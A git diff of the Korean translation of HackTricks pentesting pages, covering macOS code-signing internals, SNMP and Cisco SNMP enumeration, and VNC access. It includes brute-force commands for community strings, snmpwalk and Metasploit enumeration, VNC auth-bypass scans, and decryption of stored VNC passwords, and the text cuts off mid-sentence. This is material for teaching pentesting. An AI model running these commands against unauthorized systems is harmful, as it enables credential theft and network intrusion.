코드 서명의 매직 헤더는 **`0xFADE0CC0`**입니다. 그런 다음 이들을 포함하는 superBlob의 길이와 블롭 수와 같은 정보가 있습니다.\ -이 정보는 [여기에서 소스 코드](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276)에서 찾을 수 있습니다: +이 정보는 [여기에서 소스 코드](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276)에서 찾을 수 있습니다: ```c /* * Structure of an embedded-signature SuperBlob @@ -51,14 +51,14 @@ char data[]; } CS_GenericBlob __attribute__ ((aligned(1))); ``` -Common blobs contained are Code Directory, Requirements and Entitlements and a Cryptographic Message Syntax (CMS).\ -Moreover, note how the data encoded in the blobs is encoded in **Big Endian.** +일반적으로 포함된 블롭은 코드 디렉토리, 요구 사항 및 권한, 그리고 암호화 메시지 구문(CMS)입니다.\ +또한, 블롭에 인코딩된 데이터가 **빅 엔디안**으로 인코딩되어 있음을 주목하십시오. -Moreover, signatures cloud be detached from the binaries and stored in `/var/db/DetachedSignatures` (used by iOS). +또한, 서명은 이진 파일에서 분리되어 `/var/db/DetachedSignatures`에 저장될 수 있습니다(아이OS에서 사용됨). -## Code Directory Blob +## 코드 디렉토리 블롭 -It's possible to find the declaration of the [Code Directory Blob in the code](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104): +[코드 디렉토리 블롭의 선언을 코드에서 찾는 것이 가능합니다](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104): ```c typedef struct __CodeDirectory { uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ @@ -114,12 +114,12 @@ char end_withLinkage[0]; } CS_CodeDirectory __attribute__ ((aligned(1))); ``` -Note that there are different versions of this struct where old ones might contain less information. +다양한 버전의 이 구조체가 있으며, 이전 버전은 정보가 덜 포함될 수 있습니다. -## Signing Code Pages +## 서명 코드 페이지 전체 바이너리를 해싱하는 것은 비효율적이며, 메모리에 부분적으로만 로드될 경우에는 심지어 쓸모가 없습니다. 따라서 코드 서명은 실제로 각 바이너리 페이지가 개별적으로 해싱된 해시의 해시입니다.\ -실제로 이전 **Code Directory** 코드에서 **페이지 크기가 지정되어** 있는 것을 볼 수 있습니다. 또한, 바이너리의 크기가 페이지 크기의 배수가 아닐 경우, 필드 **CodeLimit**는 서명의 끝이 어디인지 지정합니다. +실제로 이전 **코드 디렉토리** 코드에서 **페이지 크기가 지정된** 것을 볼 수 있습니다. 또한, 바이너리의 크기가 페이지 크기의 배수가 아닐 경우, 필드 **CodeLimit**는 서명의 끝이 어디인지 지정합니다. ```bash # Get all hashes of /bin/ps codesign -d -vvvvvv /bin/ps @@ -157,13 +157,13 @@ openssl sha256 /tmp/*.page.* ``` ## Entitlements Blob -응용 프로그램에는 모든 권한이 정의된 **권한 블롭**이 포함될 수 있습니다. 또한 일부 iOS 바이너리는 특별 슬롯 -7에 권한이 특정되어 있을 수 있습니다(특별 슬롯 -5 대신). +응용 프로그램에는 모든 권한이 정의된 **권한 블롭**이 포함될 수 있습니다. 또한 일부 iOS 바이너리는 특별 슬롯 -7에 권한이 특정되어 있을 수 있습니다(대신 -5 권한 특별 슬롯에). ## Special Slots MacOS 응용 프로그램은 실행에 필요한 모든 것을 바이너리 내에 포함하지 않지만 **외부 리소스**(일반적으로 응용 프로그램의 **번들** 내)에 의존합니다. 따라서 바이너리 내에는 수정되지 않았는지 확인하기 위해 일부 흥미로운 외부 리소스의 해시를 포함하는 슬롯이 있습니다. -실제로, 코드 디렉토리 구조체에서 **`nSpecialSlots`**라는 매개변수를 볼 수 있으며, 이는 특별 슬롯의 수를 나타냅니다. 특별 슬롯 0은 없으며 가장 일반적인 슬롯(슬롯 -1에서 -6까지)은 다음과 같습니다: +실제로, Code Directory 구조체에서 **`nSpecialSlots`**라는 매개변수를 통해 특별 슬롯의 수를 확인할 수 있습니다. 특별 슬롯 0은 없으며 가장 일반적인 슬롯( -1에서 -6까지)은 다음과 같습니다: * `info.plist`의 해시(또는 `__TEXT.__info__plist` 내의 해시). * 요구 사항의 해시 @@ -175,7 +175,7 @@ MacOS 응용 프로그램은 실행에 필요한 모든 것을 바이너리 내 ## Code Signing Flags -모든 프로세스는 `status`로 알려진 비트마스크와 관련이 있으며, 이는 커널에 의해 시작되며 일부는 **코드 서명**에 의해 재정의될 수 있습니다. 코드 서명에 포함될 수 있는 이러한 플래그는 [코드에서 정의되어 있습니다](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36): +모든 프로세스는 커널에 의해 시작되는 비트마스크인 `status`와 관련이 있으며, 그 중 일부는 **코드 서명**에 의해 재정의될 수 있습니다. 코드 서명에 포함될 수 있는 이러한 플래그는 [코드에서 정의되어 있습니다](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36): ```c /* code signing attributes of a process */ #define CS_VALID 0x00000001 /* dynamically valid */ @@ -224,7 +224,7 @@ Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-dis ## 코드 서명 요구 사항 -각 애플리케이션은 실행될 수 있도록 **충족해야 하는 요구 사항**을 저장합니다. 만약 **애플리케이션이 충족되지 않는 요구 사항을 포함하고 있다면**, 실행되지 않습니다 (변경되었을 가능성이 높습니다). +각 애플리케이션은 실행될 수 있도록 **충족해야 하는 요구 사항**을 저장합니다. 만약 **애플리케이션이 충족되지 않는 요구 사항을 포함하고 있다면**, 실행되지 않습니다(변경되었을 가능성이 높기 때문입니다). 바이너리의 요구 사항은 **특별한 문법**을 사용하며, 이는 **표현식**의 흐름으로 `0xfade0c00`을 매직으로 사용하여 블롭으로 인코딩됩니다. 이 **해시**는 특별한 코드 슬롯에 저장됩니다. @@ -243,10 +243,10 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge {% endcode %} {% hint style="info" %} -이 서명이 인증 정보, TeamID, ID, 권한 및 기타 많은 데이터를 확인할 수 있는 방법에 유의하십시오. +이 서명은 인증 정보, TeamID, ID, 권한 및 기타 많은 데이터를 확인할 수 있습니다. {% endhint %} -또한 `csreq` 도구를 사용하여 일부 컴파일된 요구 사항을 생성하는 것이 가능합니다: +또한, `csreq` 도구를 사용하여 일부 컴파일된 요구 사항을 생성할 수 있습니다: {% code overflow="wrap" %} ```bash @@ -285,7 +285,7 @@ od -A x -t x1 /tmp/output.csreq #### **코드 요구 사항 수정** * **`SecCodeSignerCreate`**: 코드 서명 작업을 수행하기 위한 `SecCodeSignerRef` 객체를 생성합니다. -* **`SecCodeSignerSetRequirement`**: 서명 중에 적용할 새로운 요구 사항을 코드 서명자에게 설정합니다. +* **`SecCodeSignerSetRequirement`**: 서명 중에 적용할 새로운 요구 사항을 설정합니다. * **`SecCodeSignerAddSignature`**: 지정된 서명자로 서명되는 코드에 서명을 추가합니다. #### **요구 사항으로 코드 검증** @@ -298,7 +298,7 @@ od -A x -t x1 /tmp/output.csreq * **`SecCodeCopyGuestWithAttributes`**: 특정 속성을 기반으로 하는 코드 객체를 나타내는 `SecCodeRef`를 생성하며, 샌드박싱에 유용합니다. * **`SecCodeCopyPath`**: `SecCodeRef`와 관련된 파일 시스템 경로를 검색합니다. * **`SecCodeCopySigningIdentifier`**: `SecCodeRef`에서 서명 식별자(예: 팀 ID)를 얻습니다. -* **`SecCodeGetTypeID`**: `SecCodeRef` 객체에 대한 유형 식별자를 반환합니다. +* **`SecCodeGetTypeID`**: `SecCodeRef` 객체의 유형 식별자를 반환합니다. * **`SecRequirementGetTypeID`**: `SecRequirementRef`의 CFTypeID를 가져옵니다. #### **코드 서명 플래그 및 상수** @@ -308,11 +308,11 @@ od -A x -t x1 /tmp/output.csreq ## 코드 서명 강제 적용 -**커널**은 앱의 코드가 실행되기 전에 **코드 서명**을 **검사**합니다. 또한, 메모리에 새로운 코드를 작성하고 실행할 수 있는 한 가지 방법은 `mprotect`가 `MAP_JIT` 플래그와 함께 호출될 때 JIT를 악용하는 것입니다. 이 작업을 수행하려면 애플리케이션에 특별한 권한이 필요합니다. +**커널**은 앱의 코드가 실행되기 전에 **코드 서명**을 **검사**하는 역할을 합니다. 또한, 메모리에 새로운 코드를 작성하고 실행할 수 있는 한 가지 방법은 `mprotect`가 `MAP_JIT` 플래그와 함께 호출될 때 JIT를 악용하는 것입니다. 이 작업을 수행하려면 애플리케이션에 특별한 권한이 필요합니다. ## `cs_blobs` & `cs_blob` -[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) 구조체는 실행 중인 프로세스의 권한에 대한 정보를 포함합니다. `csb_platform_binary`는 애플리케이션이 플랫폼 이진 파일인지 여부를 알려줍니다(이는 보안 메커니즘을 적용하기 위해 OS에 의해 여러 순간에 확인됩니다. 예를 들어, 이러한 프로세스의 작업 포트에 대한 SEND 권한을 보호하는 것입니다). +[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) 구조체는 실행 중인 프로세스의 권한에 대한 정보를 포함합니다. `csb_platform_binary`는 애플리케이션이 플랫폼 이진 파일인지 여부를 알려줍니다(이는 보안 메커니즘을 적용하기 위해 OS에 의해 여러 순간에 확인됩니다. 예를 들어, 이러한 프로세스의 작업 포트에 대한 SEND 권한을 보호하는 것입니다). ```c struct cs_blob { struct cs_blob *csb_next; @@ -376,16 +376,16 @@ bool csb_csm_managed; * [**\*OS Internals Volume III**](https://newosxbook.com/home.html) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks 지원하기 -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
{% endhint %} diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md index 9f0615604..784c3cbd0 100644 --- a/network-services-pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). @@ -23,23 +23,23 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## Basic Information -**SNMP - Simple Network Management Protocol**는 네트워크의 다양한 장치(라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다. +**SNMP - 간단한 네트워크 관리 프로토콜**은 네트워크의 다양한 장치(예: 라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다. ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` {% hint style="info" %} -SNMP는 **162/UDP** 포트를 **트랩**에 사용합니다. 이는 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다. +SNMP는 **traps**를 위해 포트 **162/UDP**도 사용합니다. 이는 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다. {% endhint %} ### MIB -SNMP 접근이 제조업체 간 및 다양한 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **관리 정보 베이스(MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 **표준화된** 트리 계층 구조에서 모든 쿼리 가능한 **SNMP 객체**가 나열된 **텍스트** 파일입니다. 여기에는 **고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보를 제공하는 **최소 하나의 `객체 식별자`(`OID`)**가 포함되어 있습니다.\ -MIB 파일은 `추상 구문 표기법 1`(`ASN.1`) 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB는 데이터를 포함하지 않지만**, **어떤 정보를 어디서 찾을 수 있는지**와 그것이 어떤 모습인지, 특정 OID에 대한 반환 값 또는 사용되는 데이터 유형을 설명합니다. +SNMP 접근이 제조업체 간 및 다양한 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **Management Information Base (MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 **표준화된** 트리 계층 구조에서 모든 쿼리 가능한 **SNMP 객체**가 나열된 **텍스트** 파일입니다. 여기에는 **고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보를 제공하는 **최소 하나의 `Object Identifier` (`OID`)**가 포함되어 있습니다.\ +MIB 파일은 `Abstract Syntax Notation One` (`ASN.1`) 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB는 데이터를 포함하지 않지만**, **어떤 정보를 어디서 찾을 수 있는지**와 그것이 어떤 모습인지, 특정 OID에 대한 반환 값 또는 사용되는 데이터 유형을 설명합니다. ### OIDs -**객체 식별자(OIDs)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **관리 정보 베이스(MIB)** 내에서 객체를 관리하기 위해 설계되었습니다. +**Object Identifiers (OIDs)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **Management Information Base (MIB)** 내에서 객체를 관리하기 위해 설계되었습니다. MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조직에 할당됩니다. 이러한 최상위 수준 내에서 글로벌 관리 관행 및 표준을 위한 프레임워크가 설정됩니다. @@ -47,8 +47,8 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조 ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>) -여기에서 웹을 통해 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)에서 접근하여 확인하세요.\ -일부 **잘 알려진 OID**가 있으며, [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내의 OID는 MIB-2에서 정의한 간단한 네트워크 관리 프로토콜(SNMP) 변수를 참조합니다. 그리고 **이 OID에서 파생된 OID**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다. +여기에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)에서 접근하세요.\ +일부 **잘 알려진 OID**가 있으며, [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내의 것들은 MIB-2에서 정의된 Simple Network Management Protocol (SNMP) 변수를 참조합니다. 그리고 **이것에서 대기 중인 OID**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다. ### **OID 예시** @@ -87,13 +87,13 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조 SNMP에는 2개의 중요한 버전이 있습니다: -* **SNMPv1**: 주요 버전으로, 여전히 가장 빈번하게 사용되며, **인증은 문자열**(커뮤니티 문자열)에 기반하고 **평문**으로 전송됩니다(모든 정보가 평문으로 전송됨). **버전 2 및 2c**도 **평문으로 트래픽을 전송**하며 **커뮤니티 문자열을 인증**으로 사용합니다. +* **SNMPv1**: 주요 버전으로, 여전히 가장 빈번하게 사용되며, **인증은 문자열**(커뮤니티 문자열)에 기반하고 **일반 텍스트**로 전송됩니다(모든 정보가 일반 텍스트로 전송됨). **버전 2 및 2c**도 **일반 텍스트로 트래픽을 전송**하며 **커뮤니티 문자열을 인증**으로 사용합니다. * **SNMPv3**: 더 나은 **인증** 형태를 사용하며 정보는 **암호화**되어 전송됩니다( **사전 공격**이 수행될 수 있지만, SNMPv1 및 v2보다 올바른 자격 증명을 찾기가 훨씬 더 어려워집니다). ### 커뮤니티 문자열 -앞서 언급했듯이, **MIB에 저장된 정보에 접근하려면 버전 1 및 2/2c의 커뮤니티 문자열과 버전 3의 자격 증명을 알아야 합니다.**\ -커뮤니티 문자열에는 **2가지 유형**이 있습니다: +앞서 언급했듯이, **MIB에 저장된 정보에 접근하려면 버전 1 및 2/2c에서는 커뮤니티 문자열을 알아야 하고, 버전 3에서는 자격 증명을 알아야 합니다.**\ +**커뮤니티 문자열**에는 **2가지 유형**이 있습니다: * **`public`** 주로 **읽기 전용** 기능 * **`private`** **읽기/쓰기** 일반적으로 @@ -101,30 +101,30 @@ SNMP에는 2개의 중요한 버전이 있습니다: **OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로**, **"public"**이 사용되고 있더라도 **일부 값을 쓸 수 있을 수 있습니다.** 또한, **항상 "읽기 전용"인 객체가 존재할 수 있습니다.**\ 객체를 **쓰기** 시도하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다\*\*.\*\* -버전 1 및 2/2c에서는 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있다면 **유효한 커뮤니티 문자열이 사용된 것입니다**. +버전 1 및 2/2c에서는 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있으면 **유효한 커뮤니티 문자열이 사용된 것입니다**. ## 포트 [위키백과에서](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol): * SNMP 에이전트는 UDP 포트 **161**에서 요청을 수신합니다. -* 관리자는 포트 **162**에서 알림([트랩](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) 및 [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))을 수신합니다. -* [전송 계층 보안](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) 또는 [데이터그램 전송 계층 보안](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security)와 함께 사용할 때 요청은 포트 **10161**에서 수신되고 알림은 포트 **10162**로 전송됩니다. +* 관리자는 포트 **162**에서 알림([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) 및 [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))을 수신합니다. +* [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) 또는 [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security)와 함께 사용할 때, 요청은 포트 **10161**에서 수신되고 알림은 포트 **10162**로 전송됩니다. -## 커뮤니티 문자열 무차별 대입(v1 및 v2c) +## 브루트 포스 커뮤니티 문자열 (v1 및 v2c) -**커뮤니티 문자열을 추측하기 위해** 사전 공격을 수행할 수 있습니다. SNMP에 대한 무차별 대입 공격을 수행하는 다양한 방법은 [여기에서 확인하세요](../../generic-methodologies-and-resources/brute-force.md#snmp). 자주 사용되는 커뮤니티 문자열은 `public`입니다. +**커뮤니티 문자열을 추측하기 위해** 사전 공격을 수행할 수 있습니다. SNMP에 대한 브루트 포스 공격을 수행하는 다양한 방법은 [여기에서 확인하세요](../../generic-methodologies-and-resources/brute-force.md#snmp). 자주 사용되는 커뮤니티 문자열은 `public`입니다. -## SNMP 열거 +## SNMP 열거하기 -장치에서 수집된 **각 OID의 의미**를 확인하기 위해 다음을 설치하는 것이 좋습니다: +장치에서 수집된 **각 OID의 의미**를 확인하기 위해 다음을 설치하는 것이 권장됩니다: ```bash apt-get install snmp-mibs-downloader download-mibs # Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf sudo vi /etc/snmp/snmp.conf ``` -유효한 커뮤니티 문자열을 알고 있다면, **SNMPWalk** 또는 **SNMP-Check**를 사용하여 데이터를 액세스할 수 있습니다: +유효한 커뮤니티 문자열을 알고 있다면, **SNMPWalk** 또는 **SNMP-Check**를 사용하여 데이터를 접근할 수 있습니다: ```bash snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot snmpbulkwalk -c public -v2c 10.10.11.136 . @@ -173,7 +173,7 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull * **저장 장치**: 저장 장치의 모니터링은 `1.3.6.1.2.1.25.2.3.1.4`에 의해 용이해집니다. * **소프트웨어 이름**: 시스템에 설치된 소프트웨어를 식별하기 위해 `1.3.6.1.2.1.25.6.3.1.2`가 사용됩니다. * **사용자 계정**: `1.3.6.1.4.1.77.1.2.25` 값은 사용자 계정을 추적할 수 있게 합니다. -* **TCP 로컬 포트**: 마지막으로, `1.3.6.1.2.1.6.13.1.3`는 TCP 로컬 포트를 모니터링하는 데 지정되어 있으며, 활성 네트워크 연결에 대한 통찰력을 제공합니다. +* **TCP 로컬 포트**: 마지막으로, `1.3.6.1.2.1.6.13.1.3`는 TCP 로컬 포트를 모니터링하는 데 지정되어 있으며, 활성 네트워크 연결에 대한 통찰을 제공합니다. ### Cisco @@ -213,7 +213,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **비공식 문자열 식별** -중요한 단계는 조직에서 사용하는 **비공식 커뮤니티 문자열**을 식별하는 것입니다. 이 문자열은 라우터에서 **실행 중인 구성**을 추출할 수 있게 해줍니다. 식별은 종종 **grep 명령**을 사용하여 "trap"이라는 단어에 대한 SNMP Trap 데이터를 분석하는 데 의존합니다. +중요한 단계는 조직에서 사용하는 **비공식 커뮤니티 문자열**을 식별하는 것입니다. 특히 Cisco IOS 라우터에서 이 문자열은 라우터의 **실행 구성**을 추출하는 데 사용됩니다. 식별은 종종 **grep 명령**을 사용하여 "trap"이라는 단어에 대한 SNMP Trap 데이터를 분석하는 데 의존합니다. ```bash grep -i "trap" *.snmp ``` @@ -231,7 +231,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` ## SNMP 값 수정 -_**NetScanTools**_를 사용하여 **값을 수정**할 수 있습니다. 그렇게 하려면 **비공식 문자열**을 알아야 합니다. +_**NetScanTools**_를 사용하여 **값을 수정**할 수 있습니다. 이를 위해서는 **비공식 문자열**을 알아야 합니다. ## 스푸핑 @@ -243,9 +243,9 @@ ACL이 SMNP 서비스에 쿼리할 수 있는 IP만 허용하는 경우, UDP 패 * snmpd.conf * snmp-config.xml -
+
-**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 구사 필수_). +**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 구술 및 작문 필수_). {% embed url="https://www.stmcyber.com/careers" %} @@ -295,7 +295,7 @@ GCP 해킹 배우기 및 연습하기: {% endhint %} diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 3be7756da..77ad55db5 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). @@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## Pentesting Cisco Networks -**SNMP**는 일반 메시지에 대해 161/UDP 포트, 트랩 메시지에 대해 162/UDP 포트를 사용하여 UDP를 통해 작동합니다. 이 프로토콜은 SNMP 에이전트와 서버 간의 통신을 가능하게 하는 비밀번호 역할을 하는 커뮤니티 문자열에 의존합니다. 이러한 문자열은 접근 수준을 결정하므로 중요하며, 특히 **읽기 전용(RO) 또는 읽기-쓰기(RW) 권한**을 설정합니다. 펜테스터에게 주목할 만한 공격 벡터는 **커뮤니티 문자열의 무작위 대입 공격**으로, 네트워크 장치에 침투하는 것을 목표로 합니다. +**SNMP**는 일반 메시지에 대해 161/UDP 포트, 트랩 메시지에 대해 162/UDP 포트를 사용하여 UDP를 통해 작동합니다. 이 프로토콜은 SNMP 에이전트와 서버 간의 통신을 가능하게 하는 비밀번호 역할을 하는 커뮤니티 문자열에 의존합니다. 이러한 문자열은 접근 수준을 결정하므로 중요하며, 특히 **읽기 전용(RO) 또는 읽기-쓰기(RW) 권한**을 설정합니다. 펜테스터에게 주목할 만한 공격 벡터는 **커뮤니티 문자열의 무차별 대입 공격**으로, 네트워크 장치에 침투하는 것을 목표로 합니다. -이러한 무작위 대입 공격을 실행하기 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone)이며, 이는 잠재적인 커뮤니티 문자열 목록과 대상의 IP 주소가 필요합니다: +이러한 무차별 대입 공격을 실행하기 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone)이며, 이는 잠재적인 커뮤니티 문자열 목록과 대상의 IP 주소가 필요합니다: ```bash onesixtyone -c communitystrings -i targets ``` @@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
+
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 구사 필수_). diff --git a/network-services-pentesting/pentesting-vnc.md b/network-services-pentesting/pentesting-vnc.md index 3fd0a09b7..117bf537f 100644 --- a/network-services-pentesting/pentesting-vnc.md +++ b/network-services-pentesting/pentesting-vnc.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). @@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## 기본 정보 -**Virtual Network Computing (VNC)**는 **Remote Frame Buffer (RFB)** 프로토콜을 사용하여 원격 제어 및 다른 컴퓨터와의 협업을 가능하게 하는 강력한 그래픽 데스크탑 공유 시스템입니다. VNC를 사용하면 사용자가 키보드 및 마우스 이벤트를 양방향으로 전송하여 원격 컴퓨터와 원활하게 상호작용할 수 있습니다. 이를 통해 실시간 액세스가 가능하며 네트워크를 통한 효율적인 원격 지원 또는 협업을 촉진합니다. +**Virtual Network Computing (VNC)**는 **Remote Frame Buffer (RFB)** 프로토콜을 사용하여 원격 제어 및 다른 컴퓨터와의 협업을 가능하게 하는 강력한 그래픽 데스크탑 공유 시스템입니다. VNC를 사용하면 사용자가 키보드 및 마우스 이벤트를 양방향으로 전송하여 원격 컴퓨터와 원활하게 상호작용할 수 있습니다. 이를 통해 실시간 접근이 가능하며 네트워크를 통한 효율적인 원격 지원 또는 협업을 촉진합니다. VNC는 일반적으로 **5800 또는 5801 또는 5900 또는 5901** 포트를 사용합니다. ``` @@ -35,15 +35,15 @@ PORT STATE SERVICE nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p msf> use auxiliary/scanner/vnc/vnc_none_auth ``` -### [**무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#vnc) +### [**브루트 포스**](../generic-methodologies-and-resources/brute-force.md#vnc) -## Kali를 사용하여 vnc에 연결하기 +## 칼리(Kali)를 사용하여 VNC에 연결하기 ```bash vncviewer [-passwd passwd.txt] ::5901 ``` ## VNC 비밀번호 복호화 -기본 **비밀번호는 저장됩니다**: \~/.vnc/passwd +기본 **비밀번호는 저장됨**: \~/.vnc/passwd VNC 비밀번호가 있고 암호화된 것처럼 보인다면(몇 바이트, 암호화된 비밀번호일 수 있는 경우), 아마도 3des로 암호화된 것입니다. [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)를 사용하여 평문 비밀번호를 얻을 수 있습니다. ```bash @@ -51,8 +51,8 @@ make vncpwd ``` You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\ -For **Windows** you 